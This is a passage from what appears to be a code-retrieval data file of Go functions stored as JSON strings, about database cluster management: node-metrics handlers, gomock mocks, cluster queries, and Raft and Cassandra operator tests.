helpers.GetTabletServersFuture(helpers.HOST, tabletServersFuture)\n go helpers.GetClusterConfigFuture(helpers.HOST, clusterConfigFuture)\n tabletServersResponse := <-tabletServersFuture\n if tabletServersResponse.Error != nil {\n return ctx.String(http.StatusInternalServerError,\n tabletServersResponse.Error.Error())\n }\n // Use the cluster config API to get the read-replica (If any) placement UUID\n clusterConfigResponse := <-clusterConfigFuture\n readReplicaUuid := \"\"\n if clusterConfigResponse.Error == nil {\n for _, replica := range clusterConfigResponse.\n ClusterConfig.ReplicationInfo.ReadReplicas {\n readReplicaUuid = replica.PlacementUuid\n }\n }\n mastersFuture := make(chan helpers.MastersFuture)\n go helpers.GetMastersFuture(helpers.HOST, mastersFuture)\n\n nodeList := helpers.GetNodesList(tabletServersResponse)\n versionInfoFutures := map[string]chan helpers.VersionInfoFuture{}\n for _, nodeHost := range nodeList {\n versionInfoFuture := make(chan helpers.VersionInfoFuture)\n versionInfoFutures[nodeHost] = versionInfoFuture\n go helpers.GetVersionFuture(nodeHost, versionInfoFuture)\n }\n activeYsqlConnectionsFutures := map[string]chan helpers.ActiveYsqlConnectionsFuture{}\n activeYcqlConnectionsFutures := map[string]chan helpers.ActiveYcqlConnectionsFuture{}\n masterMemTrackersFutures := map[string]chan helpers.MemTrackersFuture{}\n tserverMemTrackersFutures := map[string]chan helpers.MemTrackersFuture{}\n for _, nodeHost := range nodeList {\n activeYsqlConnectionsFuture := make(chan helpers.ActiveYsqlConnectionsFuture)\n activeYsqlConnectionsFutures[nodeHost] = activeYsqlConnectionsFuture\n go helpers.GetActiveYsqlConnectionsFuture(nodeHost, activeYsqlConnectionsFuture)\n activeYcqlConnectionsFuture := make(chan helpers.ActiveYcqlConnectionsFuture)\n activeYcqlConnectionsFutures[nodeHost] = activeYcqlConnectionsFuture\n go helpers.GetActiveYcqlConnectionsFuture(nodeHost, activeYcqlConnectionsFuture)\n masterMemTrackerFuture := make(chan helpers.MemTrackersFuture)\n masterMemTrackersFutures[nodeHost] = masterMemTrackerFuture\n go helpers.GetMemTrackersFuture(nodeHost, true, masterMemTrackerFuture)\n tserverMemTrackerFuture := make(chan helpers.MemTrackersFuture)\n tserverMemTrackersFutures[nodeHost] = tserverMemTrackerFuture\n go helpers.GetMemTrackersFuture(nodeHost, false, tserverMemTrackerFuture)\n }\n masters := map[string]helpers.Master{}\n mastersResponse := <-mastersFuture\n if mastersResponse.Error == nil {\n for _, master := range mastersResponse.Masters {\n if len(master.Registration.PrivateRpcAddresses) > 0 {\n masters[master.Registration.PrivateRpcAddresses[0].Host] = master\n }\n }\n }\n currentTime := time.Now().UnixMicro()\n hostToUuid, errHostToUuidMap := helpers.GetHostToUuidMap(helpers.HOST)\n for placementUuid, obj := range tabletServersResponse.Tablets {\n // Cross check the placement UUID of the node with that of read-replica cluster\n isReadReplica := false\n if readReplicaUuid == placementUuid {\n isReadReplica = true\n }\n for hostport, nodeData := range obj {\n host, _, err := net.SplitHostPort(hostport)\n // If we can split hostport, just use host as name.\n // Otherwise, use hostport as name.\n // However, we can only get version information if we can get the host\n hostName := hostport\n versionNumber := \"\"\n activeYsqlConnections := int64(0)\n activeYcqlConnections := int64(0)\n isMasterUp := true\n ramUsedTserver := int64(0)\n ramUsedMaster := int64(0)\n ramLimitTserver := int64(0)\n ramLimitMaster := int64(0)\n masterUptimeUs := int64(0)\n totalDiskBytes := int64(0)\n if err == nil {\n hostName = host\n versionInfo := <-versionInfoFutures[hostName]\n if versionInfo.Error == nil {\n versionNumber = versionInfo.VersionInfo.VersionNumber\n }\n ysqlConnections := <-activeYsqlConnectionsFutures[hostName]\n if ysqlConnections.Error == nil {\n activeYsqlConnections += ysqlConnections.YsqlConnections\n }\n ycqlConnections := <-activeYcqlConnectionsFutures[hostName]\n if ycqlConnections.Error == nil {\n activeYcqlConnections += ycqlConnections.YcqlConnections\n }\n masterMemTracker := <-masterMemTrackersFutures[hostName]\n if masterMemTracker.Error == nil {\n ramUsedMaster = masterMemTracker.Consumption\n ramLimitMaster = masterMemTracker.Limit\n }\n tserverMemTracker := <-tserverMemTrackersFutures[hostName]\n if tserverMemTracker.Error == nil {\n ramUsedTserver = tserverMemTracker.Consumption\n ramLimitTserver = tserverMemTracker.Limit\n }\n if master, ok := masters[hostName]; ok {\n isMasterUp = master.Error == nil\n if isMasterUp {\n masterUptimeUs = currentTime - master.InstanceId.StartTimeUs\n }\n }\n if errHostToUuidMap == nil {\n query :=\n fmt.Sprintf(QUERY_LIMIT_ONE, \"system.metrics\", \"total_disk\",\n hostToUuid[hostName])\n session, err := c.GetSession()\n if err == nil {\n iter := session.Query(query).Iter()\n var ts int64\n var value int64\n var details string\n iter.Scan(&ts, &value, &details)\n totalDiskBytes = value\n }\n }\n }\n totalSstFileSizeBytes := int64(nodeData.TotalSstFileSizeBytes)\n uncompressedSstFileSizeBytes :=\n int64(nodeData.UncompressedSstFileSizeBytes)\n userTabletsTotal := int64(nodeData.UserTabletsTotal)\n userTabletsLeaders := int64(nodeData.UserTabletsLeaders)\n systemTabletsTotal := int64(nodeData.SystemTabletsTotal)\n systemTabletsLeaders := int64(nodeData.SystemTabletsLeaders)\n activeConnections := models.NodeDataMetricsActiveConnections{\n Ysql: activeYsqlConnections,\n Ycql: activeYcqlConnections,\n }\n ramUsedBytes := ramUsedMaster + ramUsedTserver\n ramProvisionedBytes := ramLimitMaster + ramLimitTserver\n isBootstrapping := true\n // For now we hard code isBootstrapping here, and we use the\n // GetIsLoadBalancerIdle endpoint separately to determine if\n // a node is bootstrapping on the frontend, since yb-admin is a\n // bit slow. Once we get a faster way of doing this we can move\n // the implementation here.\n // For now, assuming that IsMaster and IsTserver are always true\n // The UI frontend doesn't use these values so this should be ok for now\n response.Data = append(response.Data, models.NodeData{\n Name: hostName,\n Host: hostName,\n IsNodeUp: nodeData.Status == \"ALIVE\",\n IsMaster: true,\n IsTserver: true,\n IsReadReplica: isReadReplica,\n IsMasterUp: isMasterUp,\n IsBootstrapping: isBootstrapping,\n Metrics: models.NodeDataMetrics{\n // Eventually we want to change models.NodeDataMetrics so that\n // all the int64 fields are uint64. But currently openapi\n // generator only generates int64s. Ideally if we set\n // minimum: 0 in the specs, the generator should use uint64.\n // We should try to implement this into openapi-generator.\n MemoryUsedBytes: int64(nodeData.RamUsedBytes),\n TotalSstFileSizeBytes: &totalSstFileSizeBytes,\n UncompressedSstFileSizeBytes: &uncompressedSstFileSizeBytes,\n ReadOpsPerSec: nodeData.ReadOpsPerSec,\n WriteOpsPerSec: nodeData.WriteOpsPerSec,\n TimeSinceHbSec: nodeData.TimeSinceHbSec,\n UptimeSeconds: int64(nodeData.UptimeSeconds),\n UserTabletsTotal: userTabletsTotal,\n UserTabletsLeaders: userTabletsLeaders,\n SystemTabletsTotal: systemTabletsTotal,\n SystemTabletsLeaders: systemTabletsLeaders,\n ActiveConnections: activeConnections,\n MasterUptimeUs: masterUptimeUs,\n RamUsedBytes: ramUsedBytes,\n RamProvisionedBytes: ramProvisionedBytes,\n DiskProvisionedBytes: totalDiskBytes,\n },\n CloudInfo: models.NodeDataCloudInfo{\n Cloud: nodeData.Cloud,\n Region: nodeData.Region,\n Zone: nodeData.Zone,\n },\n SoftwareVersion: versionNumber,\n })\n }\n }\n sort.Slice(response.Data, func(i, j int) bool {\n return response.Data[i].Name < response.Data[j].Name\n })\n return ctx.JSON(http.StatusOK, response)\n}", "func Test_ServiceQueryLarge(t *testing.T) {\n\tln, mux := mustNewMux()\n\tgo mux.Serve()\n\ttn := mux.Listen(1) // Could be any byte value.\n\tdb := mustNewMockDatabase()\n\tmgr := mustNewMockManager()\n\tcred := mustNewMockCredentialStore()\n\ts := New(tn, db, mgr, cred)\n\tif s == nil {\n\t\tt.Fatalf(\"failed to create cluster service\")\n\t}\n\n\tc := NewClient(mustNewDialer(1, false, false), 30*time.Second)\n\n\tif err := s.Open(); err != nil {\n\t\tt.Fatalf(\"failed to open cluster service: %s\", err.Error())\n\t}\n\n\tvar b strings.Builder\n\tfor i := 0; i < 100000; i++ {\n\t\tb.WriteString(\"bar\")\n\t}\n\tif b.Len() < 64000 {\n\t\tt.Fatalf(\"failed to generate a large enough string for test\")\n\t}\n\n\t// Ready for Query tests now.\n\tdb.queryFn = func(qr *command.QueryRequest) ([]*command.QueryRows, error) {\n\t\tparameter := &command.Parameter{\n\t\t\tValue: &command.Parameter_S{\n\t\t\t\tS: b.String(),\n\t\t\t},\n\t\t}\n\t\tvalue := &command.Values{\n\t\t\tParameters: []*command.Parameter{parameter},\n\t\t}\n\n\t\trows := &command.QueryRows{\n\t\t\tColumns: []string{\"c1\"},\n\t\t\tTypes: []string{\"t1\"},\n\t\t\tValues: []*command.Values{value},\n\t\t}\n\t\treturn []*command.QueryRows{rows}, nil\n\t}\n\tres, err := c.Query(queryRequestFromString(\"SELECT * FROM foo\"), s.Addr(), NO_CREDS, longWait)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to query: %s\", err.Error())\n\t}\n\tif exp, got := fmt.Sprintf(`[{\"columns\":[\"c1\"],\"types\":[\"t1\"],\"values\":[[\"%s\"]]}]`, b.String()), asJSON(res); exp != got {\n\t\tt.Fatalf(\"unexpected results for query, expected %s, got %s\", exp, got)\n\t}\n\n\t// Clean up resources.\n\tif err := ln.Close(); err != nil {\n\t\tt.Fatalf(\"failed to close Mux's listener: %s\", err)\n\t}\n\tif err := s.Close(); err != nil {\n\t\tt.Fatalf(\"failed to close cluster service\")\n\t}\n}", "func (m *MockAll) Cluster() Cluster {\n\tret := m.ctrl.Call(m, \"Cluster\")\n\tret0, _ := ret[0].(Cluster)\n\treturn ret0\n}", "func ListAllClusters(response *JsonListClustersMap) *JsonListClustersMap {\n\tvar SIDCluster int\n\tvar SName string\n\tvar SAWSAccount int64\n\tvar SAWSRegion string\n\tvar SAWSEnvironment string\n\tvar SK8sVersion string\n\n\tvar SNodeType string\n\tvar SNodeInstance string\n\tvar STotalInstances int\n\n\tvar totalInstances int\n\n\tdescription := make(DescriptionMap)\n\n\tdb, err := sql.Open(\"mysql\", UserDB+\":\"+PassDB+\"@tcp(\"+HostDB+\":\"+PortDB+\")/\"+DatabaseDB+\"?charset=utf8\")\n\tcheckErr(err)\n\n\tdefer db.Close()\n\n\trows, err := db.Query(\"SELECT id_cluster, nome, aws_account, aws_region, aws_env, k8s_version FROM clusters ORDER BY nome\")\n\tcheckErr(err)\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(&SIDCluster, &SName, &SAWSAccount, &SAWSRegion, &SAWSEnvironment, &SK8sVersion)\n\t\tcheckErr(err)\n\n\t\tdescription = DescriptionMap{}\n\t\ttotalInstances = 0\n\n\t\trows1, err := db.Query(\"SELECT node_type, node_instance, total_instances FROM nodes WHERE id_cluster=?\", SIDCluster)\n\t\tcheckErr(err)\n\n\t\tfor rows1.Next() {\n\t\t\terr = rows1.Scan(&SNodeType, &SNodeInstance, &STotalInstances)\n\t\t\tcheckErr(err)\n\n\t\t\tdescription[SNodeType] = append(\n\t\t\t\tdescription[SNodeType],\n\t\t\t\tDescriptionStruct{\n\t\t\t\t\tDescription{\n\t\t\t\t\t\tType: SNodeInstance,\n\t\t\t\t\t\tTotalTypeInstances: STotalInstances,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t)\n\n\t\t\ttotalInstances = totalInstances + STotalInstances\n\t\t}\n\n\t\t*response = append(\n\t\t\t*response,\n\t\t\tjsonListClusters{\n\t\t\t\tClusterName: SName,\n\t\t\t\tAws: AWS{\n\t\t\t\t\tAccount: SAWSAccount,\n\t\t\t\t\tRegion: SAWSRegion,\n\t\t\t\t\tEnvironment: SAWSEnvironment,\n\t\t\t\t},\n\t\t\t\tK8SVersion: SK8sVersion,\n\t\t\t\tInstances: Instances{\n\t\t\t\t\tTotalInstances: totalInstances,\n\t\t\t\t\tDescription: description,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t}\n\n\treturn response\n}", "func (mr *MockprometheusInterfaceMockRecorder) QueryAllCluster() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"QueryAllCluster\", reflect.TypeOf((*MockprometheusInterface)(nil).QueryAllCluster))\n}", "func (m *MockStore) Query(arg0 string, arg1 ...storage.QueryOption) (storage.Iterator, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0}\n\tfor _, a := range arg1 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Query\", varargs...)\n\tret0, _ := ret[0].(storage.Iterator)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockMiniCloudClient) GetAll(arg0 ...session.ApiOptionsParams) ([]*models.Cloud, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{}\n\tfor _, a := range arg0 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetAll\", varargs...)\n\tret0, _ := ret[0].([]*models.Cloud)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockBuilder) Clusters() []string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Clusters\")\n\tret0, _ := ret[0].([]string)\n\treturn ret0\n}", "func (mock *Serf) ClusterCalls() []struct {\n} {\n\tvar calls []struct {\n\t}\n\tlockSerfCluster.RLock()\n\tcalls = mock.calls.Cluster\n\tlockSerfCluster.RUnlock()\n\treturn calls\n}", "func TestQuery(t *testing.T) {\n\t_, smc := getConnectionToShardMasterRaftLeader(t)\n\n\tfireQueryRequest(t, smc, &pb.QueryArgs{Num: -1})\n\n}", "func (mcs *MySQLClusterService) GetAll() error {\n\tvar err error\n\tmcs.MySQLClusters, err = mcs.MySQLClusterRepo.GetAll()\n\n\treturn err\n}", "func testListClusterNodes(t *testing.T) {\n\tctx := context.Background()\n\n\t// Init BCE Client\n\tak := \"xxxxxxxx\"\n\tsk := \"xxxxxxxx\"\n\tregion := \"sz\"\n\tendpoint := \"cce.su.baidubce.com\"\n\n\tc := newClient(ak, sk, region, endpoint)\n\n\t// Test ListClusterNodes\n\tnodesResq, err := c.ListClusterNodes(ctx, \"xxxxxx\", nil)\n\tif err != nil {\n\t\tt.Errorf(\"ListClusterNodes failed: %v\", err)\n\t\treturn\n\t}\n\n\tstr, _ := json.Marshal(nodesResq)\n\tt.Errorf(\"ListClusterNodes failed: %v\", string(str))\n}", "func TestBasicFunctionality(t *testing.T) {\n\tconfig := DefaultConfig()\n\twaitTime := 500 * time.Millisecond\n\tnodes, err := CreateLocalCluster(config)\n\tif err != nil {\n\t\tt.Errorf(\"Error creating nodes: %v\", err)\n\t\treturn\n\t}\n\ttimeDelay := randomTimeout(time.Millisecond * 500)\n\t<-timeDelay\n\tleaderFound := false\n\t//ensure only 1 leader in cluster with log entry 0 inserted\n\tfor !leaderFound {\n\t\tfor _, node := range nodes {\n\t\t\tif node.State == LEADER_STATE {\n\t\t\t\tif leaderFound {\n\t\t\t\t\tt.Errorf(\"Multiple leaders found\")\n\t\t\t\t\treturn\n\t\t\t\t} else {\n\t\t\t\t\tleaderFound = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tentry := node.getLogEntry(0)\n\t\t\tif entry == nil || entry.Type != CommandType_INIT {\n\t\t\t\tt.Errorf(\"Bad first entry\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 150)\n\t<-timeDelay\n\tclient, err := Connect(nodes[0].GetRemoteSelf().Addr)\n\tif err != nil {\n\t\tt.Errorf(\"Client failed to connect\")\n\t\treturn\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 200)\n\t<-timeDelay\n\tfor _, node := range nodes {\n\t\tentry := node.getLogEntry(1)\n\t\tif entry == nil || entry.Type != CommandType_CLIENT_REGISTRATION {\n\t\t\tt.Errorf(\"Client Still Not Registered\")\n\t\t\treturn\n\t\t}\n\t}\n\terr = client.SendRequest(hashmachine.HASH_CHAIN_INIT, []byte(strconv.Itoa(123)))\n\tif err != nil {\n\t\tt.Errorf(\"Client request failed\")\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 2000)\n\t<-timeDelay\n\tfor _, node := range nodes {\n\t\tentry := node.getLogEntry(2)\n\t\tif entry == nil || entry.Type != CommandType_STATE_MACHINE_COMMAND {\n\t\t\tt.Errorf(\"Hash Init Command Failed\")\n\t\t\treturn\n\t\t}\n\t}\n\taddRequests := 10\n\tfor i := 0; i < addRequests; i++ {\n\t\terr = client.SendRequest(hashmachine.HASH_CHAIN_ADD, []byte(strconv.Itoa(i)))\n\t\t//wait briefly after requests\n\t\ttimeDelay = randomTimeout(time.Millisecond * 1000)\n\t\t<-timeDelay\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Hash Add Command Failed %v\", err)\n\t\t\treturn\n\t\t\t//i = int(math.Max(float64(0), float64(i-1)))\n\t\t}\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 5000)\n\t<-timeDelay\n\tfor _, node := range nodes {\n\t\tfor i := 3; i < 3+addRequests; i++ {\n\t\t\tentry := node.getLogEntry(uint64(i))\n\t\t\tif entry == nil || entry.Type != CommandType_STATE_MACHINE_COMMAND {\n\t\t\t\tt.Errorf(\"Hash Add Command Failed\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\tfor _, node := range nodes {\n\t\tnode.IsShutdown = true\n\t\ttimeDelay = randomTimeout(5 * waitTime)\n\t\t<-timeDelay\n\t}\n\tseq1 <- true\n}", "func (c *FakePortalDocumentClient) QueryAll(ctx context.Context, partitionkey string, query *Query, options *Options) (*pkg.PortalDocuments, error) {\n\titer := c.Query(\"\", query, options)\n\treturn iter.Next(ctx, -1)\n}", "func TestGetClusterStatus(t *testing.T) {\n\tctx, cancelFunc := context.WithTimeout(context.Background(), standardTimeout)\n\tstatus, err := bat.GetClusterStatus(ctx)\n\tcancelFunc()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to retrieve cluster status : %v\", err)\n\t}\n\n\tif status.TotalNodes == 0 {\n\t\tt.Fatalf(\"Cluster has no nodes\")\n\t}\n\n\tif status.TotalNodes != status.TotalNodesReady {\n\t\tt.Fatalf(\"Some nodes in the cluster are not ready\")\n\t}\n}", "func Test_Cluster_Availability(t *testing.T) {\n\ttotal := 5\n\tvar server [5]cluster.Server\n\t// server[4] is not started now.. (corresponding to pid=5)\n\tfor i := 0; i < total-1; i++ {\n\t\tserver[i] = cluster.New(i+1, \"../config.json\")\n\t}\n\n\t// Random messages\n\tmessage := \"hello\"\n\n\tcount := make([]int, 5)\n\tfor i := 0; i< total; i++ {\n\t\tcount[i] = 0\n\t}\n\t\n\tfor k :=0; k < total-1; k++ {\n\t\tserver[k].Outbox() <- &cluster.Envelope{SendTo: -1, SendBy: k+1, Msg: message}\n\t}\n\n\ttime.Sleep(time.Second)\n\n\tserver[total-1] = cluster.New(total, \"../config.json\")\n\n\twg := new(sync.WaitGroup)\n\tfor i := 0; i< total; i++ {\n\t\twg.Add(1)\n\t\tgo checkInput(server[i], &count[i], wg)\n\t}\n\n\tfor i := 0; i< total; i++ {\n\t\tclose(server[i].Outbox())\n\t}\n\twg.Wait()\n\n\n\tif count[4] != 4 {\n\t\tpanic (\"All messages not recieved..\")\n\t}\n\n\tt.Log(\"test of Availability of cluster passed.\")\n}", "func TestCassandraCluster(t *testing.T) {\n\tcassandracluster := &api.CassandraCluster{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"CassandraCluster\",\n\t\t\tAPIVersion: \"db.orange.com/v1alpha1\",\n\t\t},\n\t}\n\n\terr := framework.AddToFrameworkScheme(apis.AddToScheme, cassandracluster)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to add custom resource scheme to framework: %v\", err)\n\t}\n\n\tlogrus.SetFormatter(&logrus.TextFormatter{\n\t\tFullTimestamp: true,\n\t})\n\tlogrus.SetReportCaller(true)\n\tlogrus.SetOutput(os.Stdout)\n\tlogrus.SetLevel(logrus.DebugLevel)\n\n\t// run subtests\n\tt.Run(\"group\", func(t *testing.T) {\n\t\tt.Run(\"ClusterScaleUp\", CassandraClusterTest(cassandraClusterScaleUpDC1Test))\n\t\tt.Run(\"ClusterScaleDown\", CassandraClusterTest(cassandraClusterScaleDown2RacksFrom3NodesTo1Node))\n\t\tt.Run(\"ClusterScaleDownSimple\", CassandraClusterTest(cassandraClusterScaleDownDC2Test))\n\t\tt.Run(\"RollingRestart\", CassandraClusterTest(cassandraClusterRollingRestartDCTest))\n\t\tt.Run(\"CreateOneClusterService\", CassandraClusterTest(cassandraClusterServiceTest))\n\t\tt.Run(\"UpdateConfigMap\", CassandraClusterTest(cassandraClusterUpdateConfigMapTest))\n\t\tt.Run(\"ExecuteCleanup\", CassandraClusterTest(cassandraClusterCleanupTest))\n\t})\n\n}", "func (m *MockClusterAdmin) DescribeCluster() ([]*sarama.Broker, int32, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DescribeCluster\")\n\tret0, _ := ret[0].([]*sarama.Broker)\n\tret1, _ := ret[1].(int32)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (m *MockKubernetesService) List() (do.KubernetesClusters, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"List\")\n\tret0, _ := ret[0].(do.KubernetesClusters)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (mcr *MiddlewareClusterRepo) GetAll() ([]metadata.MiddlewareCluster, error) {\n\tsql := `\n\t\tselect id, cluster_name, owner_id, env_id, del_flag, create_time, last_update_time\n\t\tfrom t_meta_middleware_cluster_info\n\t\twhere del_flag = 0\n\t\torder by id;\n\t`\n\tlog.Debugf(\"metadata MiddlewareClusterRepo.GetAll() sql: \\n%s\", sql)\n\n\tresult, err := mcr.Execute(sql)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// init []*MiddlewareClusterInfo\n\tmiddlewareClusterInfoList := make([]*MiddlewareClusterInfo, result.RowNumber())\n\tfor i := range middlewareClusterInfoList {\n\t\tmiddlewareClusterInfoList[i] = NewEmptyMiddlewareClusterInfoWithGlobal()\n\t}\n\t// map to struct\n\terr = result.MapToStructSlice(middlewareClusterInfoList, constant.DefaultMiddlewareTag)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// init []dependency.Entity\n\tentityList := make([]metadata.MiddlewareCluster, result.RowNumber())\n\tfor i := range entityList {\n\t\tentityList[i] = middlewareClusterInfoList[i]\n\t}\n\n\treturn entityList, nil\n}", "func (fc *FakeCluster) Query(query string, opts *gocb.QueryOptions) (*FakeResult, error) {\n\tif fc.Force == \"true\" {\n\t\treturn &FakeResult{}, errors.New(\"Function Query forced error\")\n\t}\n\treturn &FakeResult{Force: fc.Force}, nil\n}", "func (mock *ConnMock) QueryNeoAllCalls() []struct {\n\tQuery string\n\tParams map[string]interface{}\n} {\n\tvar calls []struct {\n\t\tQuery string\n\t\tParams map[string]interface{}\n\t}\n\tlockConnMockQueryNeoAll.RLock()\n\tcalls = mock.calls.QueryNeoAll\n\tlockConnMockQueryNeoAll.RUnlock()\n\treturn calls\n}", "func (m *MockTenantDao) GetALLTenants(query string) ([]*model.Tenants, error) {\n\tret := m.ctrl.Call(m, \"GetALLTenants\", query)\n\tret0, _ := ret[0].([]*model.Tenants)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (c *ZkCluster) ConnectAll() (*enhanced.Client, error) {\n\tvar servers = strings.Split(c.ConnectionString(), \",\")\n\treturn enhanced.Connect(servers, time.Second)\n}", "func (r *CapabilityReconciler) executeQueries(log logr.Logger, specToQueryTargetFn func() map[string]discovery.QueryTarget) []runv1alpha1.QueryResult {\n\tvar results []runv1alpha1.QueryResult\n\tqueryTargetsMap := specToQueryTargetFn()\n\tfor name, queryTarget := range queryTargetsMap {\n\t\tresult := runv1alpha1.QueryResult{Name: name}\n\t\tc := r.ClusterQueryClient.Query(queryTarget)\n\t\tfound, err := c.Execute()\n\t\tif err != nil {\n\t\t\tresult.Error = true\n\t\t\tresult.ErrorDetail = err.Error()\n\t\t}\n\t\tresult.Found = found\n\t\tif !found {\n\t\t\tif qr := c.Results().ForQuery(name); qr != nil {\n\t\t\t\tresult.NotFoundReason = qr.NotFoundReason\n\t\t\t}\n\t\t}\n\t\tresults = append(results, result)\n\t}\n\tlog.Info(\"Executed queries\", \"num\", len(queryTargetsMap))\n\treturn results\n}", "func (m *MockInterface) List(arg0 *api.OpenShiftCluster, arg1, arg2 string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"List\", arg0, arg1, arg2)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestClusterServiceClassClient(t *testing.T) {\n\trootTestFunc := func(sType server.StorageType) func(t *testing.T) {\n\t\treturn func(t *testing.T) {\n\t\t\tconst name = \"test-serviceclass\"\n\t\t\tclient, _, shutdownServer := getFreshApiserverAndClient(t, sType.String(), func() runtime.Object {\n\t\t\t\treturn &servicecatalog.ClusterServiceClass{}\n\t\t\t})\n\t\t\tdefer shutdownServer()\n\n\t\t\tif err := testClusterServiceClassClient(sType, client, name); err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t}\n\t}\n\t// TODO: Fix this for CRD.\n\t// https://github.com/kubernetes-incubator/service-catalog/issues/1256\n\t//\tfor _, sType := range storageTypes {\n\t//\t\tif !t.Run(sType.String(), rootTestFunc(sType)) {\n\t//\t\t\tt.Errorf(\"%q test failed\", sType)\n\t//\t\t}\n\t//\t}\n\t//\tfor _, sType := range storageTypes {\n\t//\t\tif !t.Run(sType.String(), rootTestFunc(sType)) {\n\t//\t\t\tt.Errorf(\"%q test failed\", sType)\n\t//\t\t}\n\t//\t}\n\tsType := server.StorageTypeEtcd\n\tif !t.Run(sType.String(), rootTestFunc(sType)) {\n\t\tt.Errorf(\"%q test failed\", sType)\n\t}\n}", "func cassandraClusterScaleDownSimpleTest(t *testing.T, f *framework.Framework, ctx *framework.TestCtx) {\n\tt.Logf(\"0. Init Operator\")\n\n\tnamespace, err := ctx.GetNamespace()\n\tif err != nil {\n\t\tt.Fatalf(\"could not get namespace: %v\", err)\n\t}\n\n\t/*----\n\t */\n\tt.Logf(\"1. We Create the Cluster (1dc/1rack/2node\")\n\n\tcc := mye2eutil.HelperInitCluster(t, f, ctx, \"cassandracluster-1DC.yaml\", namespace)\n\tcc.Namespace = namespace\n\tcc.Spec.Topology.DC[0].NodesPerRacks = func(i int32) *int32 { return &i }(2)\n\n\tt.Logf(\"Create CassandraCluster cassandracluster-1DC.yaml in namespace %s\", namespace)\n\terr = f.Client.Create(goctx.TODO(), cc, &framework.CleanupOptions{TestContext: ctx,\n\t\tTimeout: mye2eutil.CleanupTimeout,\n\t\tRetryInterval: mye2eutil.CleanupRetryInterval})\n\tif err != nil && !apierrors.IsAlreadyExists(err) {\n\t\tt.Logf(\"Error Creating cassandracluster: %v\", err)\n\t\tt.Fatal(err)\n\t}\n\t// wait for statefulset dc1-rack1 2 nodes\n\terr = mye2eutil.WaitForStatefulset(t, f.KubeClient, namespace, \"cassandra-e2e-dc1-rack1\", 2,\n\t\tmye2eutil.RetryInterval,\n\t\tmye2eutil.Timeout)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = mye2eutil.WaitForStatusDone(t, f, namespace, \"cassandra-e2e\", mye2eutil.RetryInterval, mye2eutil.Timeout)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t//Get Updated cc\n\terr = f.Client.Get(goctx.TODO(), types.NamespacedName{Name: \"cassandra-e2e\", Namespace: namespace}, cc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t//locale dc-rack state is OK\n\tassert.Equal(t, api.ClusterPhaseInitial.Name, cc.Status.CassandraRackStatus[\"dc1-rack1\"].CassandraLastAction.Name)\n\tassert.Equal(t, api.StatusDone, cc.Status.CassandraRackStatus[\"dc1-rack1\"].CassandraLastAction.Status)\n\tassert.Equal(t, api.ClusterPhaseInitial.Name, cc.Status.LastClusterAction)\n\tassert.Equal(t, api.StatusDone, cc.Status.LastClusterActionStatus)\n\n\t/*----\n\t */\n\tt.Logf(\"3. We Request a ScaleDown to 1\")\n\terr = f.Client.Get(goctx.TODO(), types.NamespacedName{Name: \"cassandra-e2e\", Namespace: namespace}, cc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tcc.Spec.Topology.DC[0].NodesPerRacks = func(i int32) *int32 { return &i }(1)\n\terr = f.Client.Update(goctx.TODO(), cc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// wait for statefulset dc1-rack1\n\terr = mye2eutil.WaitForStatefulset(t, f.KubeClient, namespace, \"cassandra-e2e-dc1-rack1\", 1,\n\t\tmye2eutil.RetryInterval,\n\t\tmye2eutil.Timeout)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = mye2eutil.WaitForStatusDone(t, f, namespace, \"cassandra-e2e\", mye2eutil.RetryInterval, mye2eutil.Timeout)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tt.Log(\"Get Updated cc\")\n\tcc = &api.CassandraCluster{}\n\terr = f.Client.Get(goctx.TODO(), types.NamespacedName{Name: \"cassandra-e2e\", Namespace: namespace}, cc)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t//Because AutoUpdateSeedList is false we stay on ScaleUp=Done status\n\tassert.Equal(t, api.ActionScaleDown.Name, 